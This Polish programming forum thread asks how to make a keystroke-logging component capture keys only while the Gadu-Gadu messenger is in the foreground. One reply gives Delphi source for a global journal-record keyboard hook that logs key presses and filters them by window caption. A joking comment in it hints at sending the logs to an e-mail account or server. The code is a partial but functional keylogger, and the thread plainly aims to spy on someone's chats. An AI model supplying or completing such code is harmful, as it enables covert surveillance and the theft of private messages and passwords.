Pytanie dotyczace hooka

0

Siemka, mam pytanie dotyczace hooka na aplikacje, czy da sie zrobic takie cos zeby komponent KeySpy odczytywal klawisze tylko wtedy gdy przywrocona(uzywana) jest dana aplikacja? np gg. odczytuje klawisze gdy piszemy na gg a gdy w notatniku to juz nie :)

0

Jezli sam sobie napiszesz, bez uzywania komponentow, to tak
.

0

Do glowy przychodzi mi tylko takie rozwiązanie pobrać uchwyt przez GetForegorundWindow.
Po czym sprawdzić przez EnumWindows do jakiej aplikacji należy. Tylko z gg może być taki
problem, że okna rozmów nie posiadają stosownej klasy chyba. A przynajmniej w starszej i
nadal używanej przeze mnie wersji 7.6 tak bylo. Ale może jest jakiś sposób na sprawdzenie
jaka aplikacja jest rodzicem okna w ktorym aktualnie piszesz. I wtedy w Timerze sprawdzić
czy aktualny uchwyt należy do okna aplikacji z ktorej chcemy przechwytywać klawisze i jeśli
tak to dopisać je do Memo, pliku czy zrobić co się Tobie podoba .Jednak ja nie za bardzo tu
mam pomysł jak sprawdzić jaka aplikacja jest rodzicem okna które jest aktywne. Może ktoś
inny będzie Tobie w stanie coś więcej pomóc. Można też pobrać Caption z aktywnego okna i
sprawdzić go pod kątem wystapienia jakiś wyrazów. Jednak to będzie imo zawodna metoda.

0
var
  MainHook : HHOOK; // wskazanie na HOOK'a
  lpWnd : PChar; // nazwa okna, w którym użytkownik naciska klawisz

function KeyboardHook(Code: Integer; wParam : WPARAM;
  lParam : LPARAM): Longint; stdcall;
var
  Buffer : TEventMsg; // deklaracja struktury 
  Wnd : array[0..255] of char;

  procedure TranslateKey(Key : Byte);
  begin
    with MainForm do
    begin
      case Key of
        13: Memo.Lines.Add('');
        8: Memo.Text := Memo.Text + '[backspace]';
        27: Memo.Text := Memo.Text + '[esc]';
        else Memo.Text := Memo.Text + Chr(Key);
      end;
    end;

    // tutaj tez sobie zmodyfikuj na wlasne potrzeby

    // tera pewnie myslisz jak przeslac logi na e-mail czy inny serwer? bueheehhehehe
  end;
  
begin
  Result := 0; // wartość zwracana przez procedure
  Buffer := PEventMsg(lParam)^; // uzyskanie danych poprzez odczytanie wskaznika

  if Buffer.Message = WM_KEYDOWN then { dotyczy tylko komunikatu WM_KEYDOWN }
  begin
    if { Tutaj sprawdz czy caption okna rowna sie np. "gadu gadu" } then
      TranslateKey(Buffer.paramL);
  end;
end;

procedure TMainForm.FormCreate(Sender: TObject);
begin
{ załóż hooka }
  MainHook := SetWindowsHookEx(WH_JOURNALRECORD, KeyboardHook, hInstance, 0);
  if (MainHook = NULL) then
   raise Exception.Create('Błąd! Hook nie został założony!');
end;

procedure TMainForm.FormDestroy(Sender: TObject);
begin
  UnhookWindowsHookEx(MainHook);
end;

end.

1 użytkowników online, w tym zalogowanych: 0, gości: 1